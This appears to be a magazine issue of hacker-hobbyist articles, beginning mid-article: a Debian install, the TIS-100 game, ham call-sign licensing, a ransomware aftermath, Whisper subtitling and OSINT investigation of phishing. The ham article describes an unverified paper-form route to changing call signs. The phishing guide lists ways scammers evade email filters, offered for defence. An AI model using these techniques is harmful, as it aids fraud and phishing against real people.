Network Planning keeps track of every network asset that the company has, and every location the company serves. They do important work, and they do it very slowly. It is possible to onboard a new location into the GIS, but there is a heavy business process (which is really designed for new developments) and it requires reams of documentation (zoning, building plans, intended number of residents, construction materials used, permits obtained... the list goes on and on for pages and pages, over weeks and weeks) to be filed. If I try to process the order as-is, I know nothing will happen for months (at best). There will instead be endless reviews and escalations.

Instead, I picked up the phone and called the technical contact on the order form.

“I see that there are multiple residential buildings within line of sight of your location. Do you think any of these would cooperate and let you install some equipment on their rooftop?” I asked. “We could do a residential drop to those premises, and you can probably figure it out from there. Otherwise, I think we’re many months away from an installation,” I explained, adding that we were also short-staffed due to storm recovery.

As it turns out, one of the buildings within line of sight was happy to cooperate, as it would likely mean less usage of their free public visitor Wi-Fi which was heavily overloaded. I love these kinds of installations, because fiber-to-the-premises infrastructure is already in place. Since it was a “self-install,” all I needed to do was provision the circuit from the comfort of my desk, and SCN handled the rest! Based on network monitoring, it seems that the deployment was a success because it is heavily utilized, with a surprising percentage of web activity aimed at sites for senior citizens.

And with that, my Nightmare Before Christmas is over. I don’t have to deal with Network Planning! However, this winter is exceptionally difficult for an ever-greater number of people in need. Many projects are springing up around the country (and even around the world) to provide reliable connectivity in places where people can’t afford it. There is a massive need - projects like SCN have barely scratched the surface. And I can assure you that Network Planning has no idea how to handle informal settlements. Nothing about that department is informal!

Stay warm this winter, and I’ll see you in the spring.


Press “P” for Perseverance

by Timothy Patishnock

I was inspired by Archilles’ article from the Volume Forty, Number One! issue of 2600 to write of my own experiences in salvaging an HP TouchSmart 9300 Elite All-in-One desktop as a hobbyist project. Despite the fact the machine was hilariously old (it was relevant in the era of Windows 7), it featured a capacitive touch screen which I thought could be put to good use as either a glorified slideshow machine or a touch-based sign-up page for use in my church.

For background, I obtained this HP computer officially from my workplace for a reasonable amount of money ($25), considering the age of the hardware. Earlier this year, a coworker of mine purchased an identical machine from work for use with a nonprofit she started. Her goal was to have a portable, simple machine that would

1. Start up like a “normal” computer,

2. Automatically login as a non-privileged user,

3. Launch a desired program (VLC), and

4. Automatically launch a looping playlist of video files.

It needed to have the ability to obtain security updates as well as function in a kiosk manner without the use of an Internet connection. This was crucial as she would be traveling around the state in areas which did not have terrific wireless Internet access and would need to display videos regarding her nonprofit. Such a project was straightforward and a pleasure to work on. She took the machine to a venue she participated in and said it worked like a charm.

Naturally, as of this writing in 2024, neither my coworker’s machine nor the machine I purchased could be expected to function running Windows 7 daily. Thankfully, there are alternative operating systems like GNU/Linux available to breathe new life into still functional hardware. For me it was a “no-brainer” for choosing the tried-and-true distribution of Debian GNU/Linux. I fell in love with Debian while in college after discovering that my first exposure to GNU/Linux, namely Ubuntu, was based upon Debian. The tinkerer part of my brain then, as it is now, enjoys understanding how the inner workings of a given system function in order to maximize productivity and enjoyment of said system.

So, with the latest ISO release of Debian GNU/Linux (www.debian.org) obtained via their official website and utilizing a copy of Rufus (rufus.ie/en/) on Windows to flash said image onto a spare USB drive, I started one of the most interesting (not to mention frustrating) projects I’ve worked on in ages. I mentioned earlier how I worked on an almost identical set of hardware to the machine I wanted to work on to help a coworker out. During that procedure, the installation of Debian GNU/Linux functioned like any other installation I had done over the past 15 or so years. I like to think of it as a rhythm of sorts, and it was on this day that rhythm went horribly awry. Almost immediately, something was different during installation, and something was wrong.

Upon attempting to launch the installation of Debian GNU/Linux, I received a cryptic but fatal error: “error reading sector 0x6afc0 from hd0”. My first inclination was to utilize my search engine knowledge to track down what could be causing such a strange error. This led me on a wild rabbit trail of answers, ranging from corrupted installation media to faulty hard disks. Since this machine was old enough to have a mechanical hard drive, I opted to purchase a solid state drive for a reasonable amount of money and donate this to the church as well. Upon launching the installation media after installing the solid state drive, I was presented with variations on the “error reading sector” message. This was quite puzzling, as the drive was brand new. Next, I tried launching the installer with various boot parameters, to no avail.

Determined to keep pressing forward, I opted to try utilizing different ISO files for the installation media. My thought was the error messages may have been prompted by a lack of specific drivers for this machine... no such luck. The error persisted. The wackiest notion I had was to try re-installing (albeit, temporarily) Windows 7 before replacing said installation with a Debian GNU/Linux Live DVD image. I’ll admit there was quite a surge of nostalgia upon hearing the Windows 7 startup chimes. Unfortunately, upon booting the installer into the live image, my machine kernel panicked and locked up. This was proving to be an incredibly baffling experience. Finally, I started testing parameters within Rufus to see if, just maybe, a setting or so was preventing this installation from occurring.

I opted for an MBR partition scheme with the target system being BIOS or UEFI (due to the age of the hardware I was working with). Secondly, I added the advanced drive properties option of adding fixes for older BIOSes (namely, extra partition, align, etc.). Finally, when prompted to select how the ISO image was to be copied to my removable flash drive, I was presented with a choice I had not really noticed before. A message appeared asking if I would like to write the image in one of two following modes: ISO Image mode or DD Image mode. There was a sentence just before the selection point that I thought could be a game changer: “...If you encounter issues during boot, you can try writing this image again in DD Image mode.” I figured, “Well, I haven’t tried this before, so let’s give it a shot.” After a couple of minutes transferring the files via DD Image mode, I inserted the USB drive into the HP desktop I was working on. Bracing myself for another round of frustration and disappointment, I maneuvered my arrow keys to select “Install” and press “Enter.” I waited for what seemed like an eternity despite being fractions of a second. The machine moved to the classic installation screen!

From there, I was able to successfully configure and install the machine how I normally enjoy setting up Debian GNU/Linux and felt the electric thrill of joy running through my mind. This had been the most difficult installation of any operating system I had ever encountered. Yet, it was also the most satisfying; I never gave up nor surrendered to frustration and even learned some interesting pieces of knowledge in the process. It reminded me of one of my favorite quotes from the television series Babylon 5: “If you are falling off a cliff, you may as well try to fly. You’ve got nothing to lose.” I fell for quite a period with this project, but in the end, I flew. I hope you’ll fly too, when it comes to your next difficult project!


TIS-100: What It Tasted Like

by Lucas Vially

MIT students crammed in a lab, a phreak manipulating tones, an enthusiast toying with a newly built mail-order microcomputer.... The early hacking experience is a thing of the past. Nowadays, mysterious and groundbreaking systems are hard to come by. Computers are more complex, yet the abundance of documentation and available products can, ironically, make it seem like everything has been mapped, created, discovered. But it’s still possible to live what it was like to tinker in the past. You just have to simulate it.

The TIS-100 is a computer from 1972. It has a unique architecture which can be mastered with nothing but a keyboard and its screen, displaying nuances of gray and white on black plus some occasional, alarming red.

It is also a fictive creation, actually released in 2015. It was created by Zachtronics, a video game developer known for Infiniminer - the game which would come to inspire Minecraft - as well as for its many engineering-oriented programming games. But while the computer and story it tells are fictional, the work you’re about to do is as real as it gets.

The name of the TIS-100 is reminiscent of early computers such as the PDP-1, which had the habit of combining an acronym and an identifying number to make up their names. Here, TIS stands for Tessellated Intelligence System. While Intelligence System doesn’t need to be explained, Tessellated comes from Latin’s tessela, a piece of paving, tessalation being a synonym of tiling. And so, our Tessellated System is filled with identical shapes, displaying a 4x3 grid of squares representing interconnected nodes. Each node can hold one value, plus another one in backup. Each node can contain up to 15 lines of code used to process and move values from a program’s input, between adjacent nodes, and to the output. The game offers challenges disguised as corrupted segments of the computers’ programming, requiring to be rewritten. You might have to multiply values to sequence a set, or, later, to handle series of numbers to be interpreted as an image in the visualization module. The virtual device offers low-level programming with a minimalist assembly language, ready for you to tackle.

But before you get to that, the first step in playing is printing out the TIS-100’s manual. Fourteen pages detailing architecture, ports, instructions, and more. The manual is presented as a copy of the original, now containing notes, highlighted passages, as well as scanned staples and hair strands. It doesn’t only instruct you. It lets you know you’re inheriting a mysterious computer, it gives it history and makes it seem more real. It lets you role-play, making the upcoming experience feel more real. In a 2015 Gamasutra interview, Zachtronics founder Zach Barth stated that “[TIS-100 is] designed to draw together sensations of a specific cultural experience - what it sounded like, felt like, tasted like, to be a computer hacker - and use them to tell an interesting and cogent story.” And many of the game’s details work, beyond the surface, towards creating that genuine experience.

With limited computer memory, it used to be best to write programs concisely. Shaving a few lines off was a practice required for effectiveness. In TIS-100, the limited lines in a node can push you to do just that. And while it isn’t too hard to properly fit your code into each node, the competitive mind can be your next motivator. Whenever you complete a level, you will get the stats of your program, and of other players’. In how many cycles did it run? How many nodes, how many instructions were used? There’s something to finally finishing a working program, to end your struggle, and find that others made it ten times more efficiently than you. It’s a push to try and rewrite your program, to optimize, to discover what you didn’t imagine was possible. It’s finding out that your messy code can be made beautiful, and choosing to seek that beauty.

Back when the only computers were massive machines, nobody had one for their private use. Most hackers would wait for their turn in a university lab. When they had to leave, they could only wait for their next go at the machine. Or, at least, they could prepare it. With a pen, paper, maybe with a printout of what they had already programmed, they wrote more code. Before they got a free time slot and traveled back to the lab, they had time to make corrections, and hope that everything would run smoothly. The instruction set and system architecture of the TIS-100 are simple, enough to solve them the analog way, by scribbling a few squares and filling them with text. While puzzles can be hard to solve, their rules always are straightforward, a few easy-to-remember sentences. I have occasionally solved puzzles on the go, writing code in a notebook, executing it in my head. I would test it hours, maybe days later. In a way, this wait was still part of the experience: I got to look forward to when I would copy the code to my computer, to the excitement when the program finally runs.

From the dawn of computer hacking, there’s always been unexpected creations. The IBM-704 had a panel filled with rows of lights which students used to create a primitive ping-pong game. The TX-0 played sounds based on the data it read, prompting the creation of a music compiler. The TIS-100 too, you learn as you play, might be more powerful than you first suspected. While the instruction set and system architecture are simple, there is a depth in the possibilities. To some, the game is just a tool to learn how to use the TIS-100 so they can then write their own programs and really push its capabilities in new ways. It has been used to create simple visual animations. Somebody made a drawing program. Someone else recreated Pong. And you might find another way to push the system’s limits.

Nowadays, computers are expected to be able to do any and everything. And so, their surprises become less surprising. But TIS-100 lets you discover a device which doesn’t offer itself easily, which can do more than you would have suspected. It might not have an actual practical use, but that only makes it a better reproduction of the early hacker experience: playing with a computer is enough.


The FCC and Ham Licensing

by RICHARD NIXON (and his pet helicopter)

This article is dedicated to WA6RXE (SK) and N6NHG (SK) and all the diehards who are part or were part of that famous repeater on VHF in Los Angeles that has been transmitting for over 45 years.

Some of the information is true and some has been modified. However, there may be errors. I also do not condone illegal activity. This is for informational purposes only.

It’s kind of funny - there must be a ghost who pushes buttons or changes things. I give you the ULS system, created by the FCC to streamline computer system functionality. The Universal Licensing System, developed to aid in providing, modifying, updating, and entering information for licenses, specifically amateur radio - aka “ham radio.”

Now, ham radio has been around for a bit, and has three types of licenses at the time of this article: technician, general, and finally amateur extra. In the early 2000s, they had a code requirement as well as many other types of licenses, but they removed the requirement for Morse code, as well as simplified down to three types of licenses as stated above.

With ham radio, you study for a bit, get your technician license, buy a VHF/UHF radio, and talk or transmit packet radio for the most part. Then, if you decide to upgrade, you study for the general and maybe purchase an HF radio so you can talk to aliens (and sometimes famous people such as Art Bell (SK), or the guy from the band the Eagles... not naming names here, but it’s been known to happen. Then, if you really want to play HF dawg, you study and pass your amateur extra - which grants you access to pretty much every frequency available in the ham radio spectrum.

Anyways, a piece of history - X.25, the same protocol that came before the Internet as we all know it today, still resides on the amateur radio band plan, aka “packet radio,” but does not operate like you think.

Nonetheless, you still would need the hardware on both ends to utilize it, and since this article isn’t about that, I would invite you to at least educate yourself about the basic principles as well as the knowledge of using amateur radio, take the test, and then use it lawfully.

But it’s fun to do IRC over packet!

There are many practical applications in ham radio: talk, packet, HF, Morse, talking to UFOs, and having a discussion about women with extraterrestrials - no coins required when talking directly to E.T.

OK, so let’s get to the meat and potatoes about this specific article.

So when you pass your technician test, you are randomly assigned a call sign. Call signs have specific prefixes assigned according to the geographical area you are in. For example, let’s say you are in California - your prefix would start out with a letter, such as W or K.

Some may even have KA, WA, KA6, and so on. Usually they add letters in sequential order once the block has been used, i.e., KA, KB, usually 6 has a region specific designation - California region for the most part - by default.

Every region has at least one number assigned to it, geographic to where you reside.

There are basically two types of licenses, vanity and random. Call signs, as stated before when you are granted one, are basically random, and when you want or request a certain call sign (one that’s not being used or has not been granted to someone else), that’s a vanity.

For example, let’s say you wanted to shorten your LL#LLL callsign to L#LLL, you’re going to a 3x2 - meaning you’re getting rid of a letter or two and downsizing.

Now usually the shorter the call sign the better, and most of the time you will see amateur extras having shorter call signs. Even Cuckoo’s Nest has one, but his unique Klein Bottles do not. (another old school x.25 guy!)

Usually when you request a vanity, you pay the fee (a couple bucks), pick out the call sign you want, wait for it to get approved (electronically), and when the FCC approves it, you can start transmitting with it. The old call sign gets thrown back into the public pool after a while.

Now, for those that do not have computer access, there is Form 605.

Form 605 allows you to fill out the form by ink, sign it, and mail it in. The FCC reviews it, checks it out, and applies the update to your account.

So what’s interesting about this is as long as you do not have a vanity and everything checks out, the modification will take place and a randomized call sign will be assigned to the call sign on the form, from what I have been told after talking to someone at the FCC on the phone.

What this demonstrates is that.

1. Only a signature is required.

2. The FCC does not verify the owner. However, since it’s a form, it’s verified by a human who processes it as they are instructed to do.

3. The checks and balances are not what they should be compared to someone being granted a vanity.

This means that if you fill out a paper with your info, check a few boxes, sign the form, send it in from where you live, and the FCC approves it - your request will be accepted.

So in order to remedy this, I would make sure you request (and are granted) a vanity call sign. Once you are granted a customized vanity, it adds a layer of protection and security.

I would also add that any call sign change be done by having the FCC perform a code-send procedure, one that snail mails or texts the code after the human has processed the application. While not 100 percent safe, it reduces the amount of fraud.

In ham radio, there are a lot of interesting things to do and many other types of licenses to obtain. For example, you can become a test taker for that region, which pays a couple bucks per test, or you can get temporary international licenses for different countries, or you can learn Morse code, even though it’s not required to become a licensed operator. (Learning Morse code is fun. However, to learn it from scratch may take years of patience and dedication....)

Also, learning about electronics, especially the Henry Amplifiers, is really neat because some of the good ones run on tubes and vacuums. So if you cut the wrong wires or wire it up like an idiot, you can blow shit up....

Anyways, use ham responsibly and remember not to jam people out.


Start your own 2600 meeting! It’s easy and fun!

	Pick a location.

	Spread the word.

	Let us know.






Full info can be found at www.2600.com/meetings.


After the Cyberattack

by Infra Read

Like many workplaces over the last few years, mine was targeted by a ransomware attack, and it’s given me a lot to reflect on. I can’t share any identifying details, except that I work in a large institution with multiple divisions housed in several buildings, spread over about a city block. And fortunately, I don’t work in healthcare, currently a favorite target, so I didn’t have a nervous breakdown worrying about patient safety.

The first day, I had an appointment and got to the office a few hours late. I noticed nobody was at their desks, but didn’t think much of it. When I turned on my computer, there was no Internet connection. We have minor outages occasionally, usually not lasting long, but this time the Internet was down for the entire organization, and we got no estimate or prognosis.

I spent the first day cleaning my cubicle and sorting files. While most people had no access to Microsoft at all, I had read-only access to my Outlook calendar and task list, which I appreciated. By the afternoon of the second day, we could at least use Outlook and then the Internet. However, any functions that interacted with the website or ran via Wi-Fi were inaccessible, as, most crucially, were all the institution’s shared drives, where the bulk of our work was stored.

Throughout the event, there was a high level of secrecy. After some weeks, it was announced that we’d been the victim of a ransomware attack: literally what everyone assumed from the beginning. That’s all we’ve ever heard about it, except for assurances that no personally identifying information was accessed, just that our servers were frozen.

The website and Wi-Fi eventually got back up and running, but the shared drives have not been and will not be restored. Files were slowly recovered and exported to Microsoft Teams. Various documents didn’t transfer over and, if we notice them missing, we can contact IT. Someone can access the old drives and transfer files to Teams, but we need to tell them the name of the document and preferably what folder it was in. Of course, there was never any master list of what was in the shared drives. Why would there be? The further out we get, the more I’m finding files that didn’t transfer, and it’s almost impossible at this point to remember what they were called.

Most readers of 2600 are savvier than this, but in a lot of workplaces, the ones without tight security levels, a lot of people use their work computers for random personal things. Certainly people do at mine! There may be PDFs saved “temporarily” that never got deleted, or candid notes never intended to be shared. All those things that were on the shared drives at the time of the attack are frozen there for good, and someone in the institution can retrieve them. It’s not even possible to do the not-truly-secure bare minimum of deleting files and emptying the trash. At some point they may delete the drives completely, but there’s no way to know.

The attack, while not nearly as destructive or disruptive as it could have been, gave a definite reminder: there is no backup for the Internet. No one seems able to conceptualize having a backup for it. Everything is just there, and has to be there. It also brought home how much workplaces used to rely on systems, and experienced people, which were both replaced by technology. Those systems had flaws, definitely, and some of the people in them were hard to deal with, but they mostly got the job done for basic needs. Now they are gone, gone, gone, leaving us with nothing but technology.

Some specific thoughts: online tools have an absolute monopoly on communication. Without email, my workplace has no means of institution-wide communication. In some public spaces, whiteboards were set up with updates on them, but within my department, we mainly wandered around asking people if they’d heard any news. I’m old enough to remember when corporate offices paid people to ferry memos around the building. This was wildly primitive, but it was a stable system. If Outlook ever went down for more than a day, we’d be screwed.

Similarly, for years, the person who prints out emails and other documents for future reference has been laughed at. Given that everything we were working on, and all our supporting documentation, was online, printouts were suddenly a valuable thing to have. I have since identified my most crucial documents and put them in a three-ring binder, just like the old days.

As 2600 has often said, too many things are online that don’t need to be. The coffee shop didn’t need to grind to a halt because they couldn’t access their Wi-Fi-based point-of-sale system. A few years ago, they and the on-site c-store had cash registers that would have worked, but again they’re gone. There’s a definite tradeoff in convenience by having networked devices, but the old system would allow them to provide minimal services, and still bring in some money.

Once we had basic Internet access, we were able to use most of the many third-party apps involved in our work. The lesson received from this seems to be that third-party apps are the way to go. And maybe that’s true. I’m offering a user’s-eye perspective, not an expert’s. But it seems we’re placing a lot more faith in a lot of different corporations than I really have. We’re especially committed to absolute and unquestioned faith in Microsoft Teams, which will never go down, never be hacked, and never change in ways we don’t like - but we will have no control over it. Since the pandemic, there’s been a strong push for us to migrate all our work to Teams, and the attack has left that as our only option.

The use of Teams and SharePoint lend themselves to limiting access to information, so it’s not a thrilling development, and a lot of our third-party systems are both frustrating to use and leave us on our own with scanty customer service support. Minus Microsoft, which IT is willing to deal with. I much preferred the days of local servers and local support, but apparently they can’t be made secure enough. But if we all move our data and services to a few big-name companies, who else will there be to attack but them?

In the meantime, don’t get complacent! It could hit anyone at any time, and if your organization doesn’t have a backup, you can try to be prepared within your own limitations.


Land of the Rising Subs

by Matt Johnson - ech0plex88@protonmail.com

One day, as a child in the late 1980s, my father brought home a couple movies from our small Minnesota town’s rental. This was a period in my youth when I was absolutely obsessed with dinosaurs, and the movies reflected that. They were Gammera the Invincible (1966)1 and The Legend of the Dinosaurs (1977).2 Along with the films, he unknowingly brought home a strong introduction to Japanese kaiju cinema, and I was immediately hooked. Giant monsters, loud noises, explosions, it was everything I’d wanted. So what if their words didn’t exactly fit their mouths... oh yeah, what was that about?

It was a short leap from these to my first Godzilla movie, Godzilla vs. Megalon (1973)3 in 1989. By then, I understood that they were dubbed in English, but that didn’t affect my appreciation of them. This fascination with Japanese science fiction has continued to the present day. While I still enjoy dubbed films, I have a greater appreciation for subtitles, and how much they preserve of the original audio tracks.

Once YouTube went online and the video-sharing community went global, it was easier to find Japanese-only video clips that were previously unavailable. Despite no English-language option, they were still fun to watch, and were mainly behind-the-scenes footage and bonus scenes. The technology for self-generated subtitles wasn’t there for me, so I’d note or collect these clips, and save them for later. Discovering many “fan sub” communities working to make obscure media available for everyone, I decided to try my hand at contributions.

The first subtitle project I attempted was an edit of an existing file series. In 2014, while stationed in Japan, I discovered Future War 198X.4

This 1982 animated techno thriller features detailed Cold War combat between the U.S. and U.S.S.R. and challenged the nuclear taboo by depicting graphic H-bomb destruction. The film was only released in Australia and Europe, with the Australian version dubbed into English as a summarized narration 35 minutes shorter than the original. On YouTube, I found someone was translating the film into 10-minute segments. Taking the SRT subtitle files, I attempted to merge them and clarify or correct the inaccurate military details. The original uploader stopped translating without completing the film. It would be several years before I saw the full English-subtitled version.5

Years later, I watched the Sakyo Komatsu SF film Sayonara Jupiter6 and noticed several errors in the subtitles. Poor grammar, incorrect timing, and missing lines - I took it as an opportunity to practice editing further. Incidentally, Komatsu’s writing was adapted into other films such as Japan Sinks (1973)7 and Virus (1980);8 all are worth watching.

On September 21, 2022, the OpenAI research organization announced the Whisper machine learning model. Described as “an automatic speech recognition system, trained on 680,000 hours of multilingual and multitask supervised data,” it is essentially speech-to-text with a translation function.9

Since release, it’s progressed through several upgrades. Version 2 was released on December 8, 2022. Version 3 was released on November 6, 2023.10

Whisper offers five model sizes: Tiny, Base, Small, Medium, Large. Accuracy increases with model size, at the cost of a slower transcription and translation. However, this speed is dependent on hardware capabilities, and other tools to be discussed later.11

Whisper’s GitHub page describes an installation process via command line on Linux, Windows, and MacOS. This is how I did it on Debian:


$ sudo apt install python3 python3-full ffmpeg pipx

$ pipx install open-ai whisper

$ pipx ensure path

I did it this way to ensure I didn’t miss any Python components, but YMMV. The ffmpeg package is required for handling various media formats, and pipx lets you install and run end-user applications written in Python.

The ffmpeg tool is also useful for splitting an audio track into segments for easier translation. I’ve found that five minute segments are quickly processed with high accuracy. To split a single audio file into five minute segments on Debian, I opened a terminal in the audio file folder and ran this command:


$ ffmpeg -i SAMPLE.mp3 -f segment -segment_time 300 -c copy output_audio_file%03d.mp3

With all that said, I believe there is an easier way to install and use Whisper. This is through the Whisper-Faster tool on GitHub. Created by Purfview, it is described as “Whisper & Faster-Whisper standalone executables for those who don’t want to bother with Python.” In practice, it’s excellent. I’ve processed audio samples in easily half the time of baseline Whisper, but again, YMMV.12

Simply download the latest release, extract it, and drop your audio file in the same folder. I run the following command in Debian to process Japanese audio:


$ ./whisper-faster --task translate --language ja --model large-v2 SAMPLE.mp3

This command will download the large-v2 model, which is 2.9 GB. Although large-v3 is released, I’ve had accuracy issues with it, while enjoying great success with the prior version.

For all its usefulness, Whisper is imperfect. Improved accuracy requires a larger model, and time stamps aren’t always correct. Aside from timing errors, the tool may “lose track” of what it hears, and either repeats a line of dialogue several times, or skips it entirely. The language itself is challenging. Slang, obscure cultural references, they all require a thorough review. Several tools are available for editing and greatly increases subtitle quality.

	VLC. The famous media player is perfect for taking screenshots of on-screen text. Documentaries have a lot of this. After building a collection of screenshots, use Google Translate’s Image function to complete the translation.13

	Avidemux. Great for simple video editing, but it excels in extracting audio tracks for processing. While I review a video, I mark incorrect or missing translations for re-scanning. Then, I can save a segment of audio and re-run it through Whisper quickly.14

	Subtitle Composer. The ultimate tool. Before I found this, my early experiments involved estimating timestamps and manually merging and shifting disconnected files. Definitely time-consuming and tedious. Subtitle Composer opens the video and SRT file, giving you options to edit text and timing. You can merge or separate lines, and watch a representation of the sound file to better match timing. This tool has greatly improved both the time to complete a subtitle project, and my motivation in working through them.15



Since March 2023, I have completed 27 projects, either creating subtitles for untranslated films, or cleaning up existing translations. Most have been “making of” documentaries for Godzilla, while others are obscure films such as Tetsuro Tamba’s Spirit World trilogy. I am particularly proud of creating subtitles for the 1987 film Tokyo Blackout,16 also based on a Sakyo Komatsu novel. It was a challenge for years, because I’d enjoyed many of his adaptations, but that one had never been translated. I frequently post these projects on Reddit, and they are hosted on archive.org.17 Great projects are collaborative, so I always encourage suggestions and corrections to everything I post. AI is useful but imperfect, and I also don’t speak Japanese, so at the very least I can give these projects a good head start towards the enthusiasm of other skilled fans.




1 en.wikipedia.org/wiki/Gamera,_the_Giant_Monster

2 en.wikipedia.org/wiki/Legend_of_Dinosaurs_%26_Monster_Birds

3 en.wikipedia.org/wiki/Godzilla_vs._Megalon

4 en.wikipedia.org/wiki/Future_War_198X

5 archive.org/details/future-war-198x

6 en.wikipedia.org/wiki/Bye-Bye_Jupiter

7 en.wikipedia.org/wiki/Japan_Sinks

8 en.wikipedia.org/wiki/Virus_(1980_film)

9 openai.com/index/whisper/

10 en.wikipedia.org/wiki/Whisper_(speech_recognition_system)

11 github.com/openai/whisper

12 github.com/Purfview/whisper-standalone-win

13 www.videolan.org/vlc/

14 avidemux.sourceforge.net/

15 subtitlecomposer.kde.org/

16 archive.org/details/tokyoblackout1987

17 archive.org/details/@johnsonmt01


Use OSINT to Investigate a Phishing Scam

by tom caliendo

One of the greatest tools for infosec professionals to investigate and prevent phishing scams is actually just a collection of websites that produce information that is free and open to the public, also known as open source intelligence (OSINT). This article will identify and explain several OSINT methods that are effective and require no previous OSINT experience. Interestingly, OSINT is not only a major factor in the prevention/response aspect of phishing scams, but it also plays a major role in the creation of phishing scams. We will discuss how malicious actors use OSINT, and how infosec professionals can use this knowledge against them in order to keep their companies safe.

Why Focus on Phishing Scams?

This is the most likely threat an infosec professional will encounter.

Phishing is often considered old fashioned and outdated, easy to avoid. To be fair, the news often focuses on the more interesting new scams, while phishing takes a smaller and smaller share of the media focus. However, most people are surprised to learn that phishing is the most common Internet scam out there. But as my colleague Daniel Miessler points out in his article, “Everyday Risk Rating,” some dangers are more real than others and it can be hard to know the difference.

Phishing scams are overwhelmingly the most common and dangerous Internet-based crime in recent years, according to the FBI’s Internet Crime Complaint Center (IC3)

Studies have found that at least one person clicked a phishing link in 86 percent of organizations targeted by phishing scams. Seventy-four percent of U.S. companies experienced a successful phishing attack. Therefore, the prevalence of attempted and successful phishing attacks warrants our focus on this kind of attack.

The amount of information out there is growing fast and this data is not only the focus of businesses and government agencies, but it also attracts threat actors.

Learn the Malicious Tactics in Use

Most people assume that a phishing scam takes the comparatively obvious form of a suspicious email and assume that they would know not to open or click on it. But today’s phishing attempts have become more advanced. For one thing, phishing scams don’t only come in the form of email, but also posts and direct messages on social media, SMS messages, and more. In addition, phishing websites are now obtaining SSL certificates which were once considered a marker of safety (more on that below, along with other modernizations used for phishing scams).

Building Trust

In addition, social media scams may come in the form of a message seemingly sent to the workforce from one’s friend or family with a seemingly typical message; or one’s boss, telling the workforces to click on a link or open an attachment. One of the common ways to build trust in these scenarios is to first send a message asking the recipient to do something (click a link or download a file) that is actually innocuous in order to build trust, and then send a follow up message with the true phishing content.

Avoiding Email Filters

In theory, the DMARC (Domain Message Authentication, Reporting, and Conformance) is supposed to filter out suspicious emails based on factors like the domain sending the emails and the URLs included in the content.

However, scammers have found the following ways around DMARC security parameters:

	For starters, scammers often use mass email services like SendGrid, Mailchimp, and MailJet. Emails with unique domains (john@definitely_not_a_scam.com) that are being sent from Mailchimp and other similar services are often accepted by email filters. A reason why this is effective is that the services provide the relevant authentication used to validate emails. A lot of companies even “whitelist” these mass email services.

	 Scammers will often send URLs that include part of a legitimate domain. For example, instead of using “bankofamerica.com,” they will use “hln.bankofamerican.com.” This method is actually an effective way to avoid email filters.

	While many scammers buy their own domains and send emails from them, others use free email. If you are using a free email service like gmail.com and hotmail.com, mass emails from them are likely to be filtered out. Therefore, services like Mailchimp will offer a method to evade companies’ filters by adding on a subdomain as the email domain, such as “@send.mailchimpapp.com.” For example, if the scammer is using “HRrep@hotmail.com,” Mailchimp can change the “From” email to “HRrep.hotmail.com@send.mailchimpapp.com.” This is an effective way to hide the true email sender.



What Is the Role of OSINT in Our Scenario?

Phishing scams can be investigated via OSINT before or after someone has fallen victim. For the sake of clarity, when we discuss our hypothetical phishing scam, we will use the most common kind of phishing scan that is currently in use. That is, a scammer who sends out mass emails, often to specific companies’ employees. The emails invite the recipients to click on a link and input their personal sensitive information - such as username and password - on fake websites that are designed to look like certain real websites. Finally, in this example, the scammers have (as most do) an infrastructure of IPs, servers, domain names, etc. that support a number of fake websites that log victims’ information and securely send it back to the scammer.

We will start with the example of someone who received a suspicious email and wants you to investigate whether it is a phishing scam. Now let’s get started looking at what you can do in an OSINT investigation.

Provide Security Awareness Training

Before your investigation even starts, consider ensuring that your company has some form of security awareness training for its employees, even if it just involves you providing a quick overview. Educating the workforce is one of the most effective forms of preventative measures because, at the end of the day, phishing scams rely on human beings being imperfect and making bad decisions (i.e., downloading a file or clicking a link). Security awareness training will keep the workforce more alert and well-educated, which will significantly reduce the possibility of someone making that bad decision.

Remove Personal Information From Public Sources

In addition, another effective measure is to remove the company employees from the main recruitment/sales intelligence websites, also known as “headhunter” sites (apollo.io, contactout.com, rocketreach.co). Each site has an “opt out” function that allows you to remove information from the site (note that many companies choose to contract out this rather boring “personal information removal” process, so you don’t necessarily need to do it yourself).

Phishing scammers used to rely primarily on buying email lists on the dark web. But today, much of the same data is available for free. For example, contactout.com reportedly has “contact details for 75 percent of professionals.”

Therefore, scammers increasingly use these free, publicly available resources. If a scammer is looking for companies to target, and your company’s information is hidden while others’ are easily available, it is reasonable to assume the scammer might move on to other easier targets.

Identify Suspicious Emails to Investigate

While there are a wide variety of phishing emails, there are a few simple ways to identify or avoid the vast majority of them. For starters, be aware that phishing emails often look completely legitimate, whether that involves an email that appears to come from a company or bank where you have an account or even appearing to have been sent from a friend, colleague, or boss. Therefore, the appearance of legitimacy should never be considered a factor in determining if the email is suspicious. Instead, consider an email suspicious if it asks you to open or download any attachment or asks you to click on a link.

To reiterate this point, any email, especially from a company, that asks the recipient to open a file or click on a link should be considered suspicious. As a result of phishing scams, most companies will not send links or attachments in emails. Therefore any email that actually does so can reasonably be considered suspicious.

Unshortened URLs

The OSINT investigation starts with the email sent to employees, regardless of whether it is a confirmed phishing scam or just a suspicious email.

Begin with the link or URL that you are invited to click (obviously do not click on it). Be on the lookout for shortened URLs (like bit.ly4enla45c or tinyurl.com/4emdh45c). Phishing campaigns are increasingly taking advantage of free open source tools (bitly.com, tinyurl.com, tiny.cc, cutt.ly, and shorturl.at) to shorten URLs. These URLs hide the true link destination, are less likely to be filtered out by content filters, and people are accustomed to seeing “bit.ly” URLs so they are more likely to click on it.

For your investigation, there are several open source tools to unshorten those URLs and discover the true domain destination (such as unshorten.it, urlex.org, and checkshorturl.com).

Conduct Website Scans

Once you have identified the true domain of the URL’s destination, you can enter the domain into a number of OSINT websites (also known as “scanner sites”) that scan the suspicious domain to see if it looks safe (you can use scamadviser.com, urlscan.io, and checkphish.ai). These scanner sites are not perfect, but they run a number of tests on the domain and also track threat feeds in case anyone has reported the domain or its IP address for malicious activity. It is also worth noting that these tools provide you with a snapshot of the scanned websites, providing you a safe way to check it out.

urlscan.io has an interesting feature among its scan results. The site searches for other websites that have a similar structure to the one you scanned, but are hosted on different infrastructure. Why does this matter? Because it is a good indicator that the website was built by a phishing kit (which is basically a prebuilt phishing scam that is sold on illegal but widespread marketplaces). Phishing kits and phishing scams in general often create several versions of a fake website. Sometimes this is contingency planning for when one site gets taken down, there will still be others, and sometimes this action is done to create specific websites for different target sets.

Check the IP and Domain Reputation

The sites like urlscan.io that we just used will also identify the possible phishing website’s domain, IP address, and its SSL security certificate. These are useful pieces of information for an investigation.

